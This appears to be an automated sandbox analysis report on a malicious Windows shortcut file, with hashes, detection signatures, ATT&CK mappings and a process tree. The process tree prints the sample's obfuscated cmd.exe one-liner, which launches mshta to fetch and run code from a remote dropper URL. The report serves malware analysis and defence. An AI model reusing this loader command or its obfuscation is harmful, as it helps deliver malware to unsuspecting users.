3dd323fa6e4705d4c3995a7642607cf10383e9e819dbe2232a7cd77ec974409a

Analysis

max time kernel
58s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/08/2026, 04:46

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General

Target
DOC-LE83U2.lnk
Size 1KB
Sample260822-fdx4ea1cpe
SHA256 3dd323fa6e4705d4c3995a7642607cf10383e9e819dbe2232a7cd77ec974409a
MD5 79e19c4455baa6e252da6c700d515cb4
SHA1 5d290f129bcd62018f0f0073724b2d77fcb5cb25
SHA512 e08a5f6c76a678bf8f0ad7718c69e55f8edeec1bb7431a7042ee918a65d55fdf60670021414fcb9f7b632a391d36df3586a547804622508d7e3257a2d9a16474
TLSH
T1503128102EFD0528F3B79E7685BB571089FBB9568D14C61D0241454D1072A01E5BBF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1396	cmd.exe
4196	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1396 wrote to memory of 4196	1396	cmd.exe	90
PID 4196 wrote to memory of 5064	4196	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-LE83U2.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1396
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set XZ=msh&&set DFZbg=ta&&start "" !XZ!!DFZbg! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:5064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads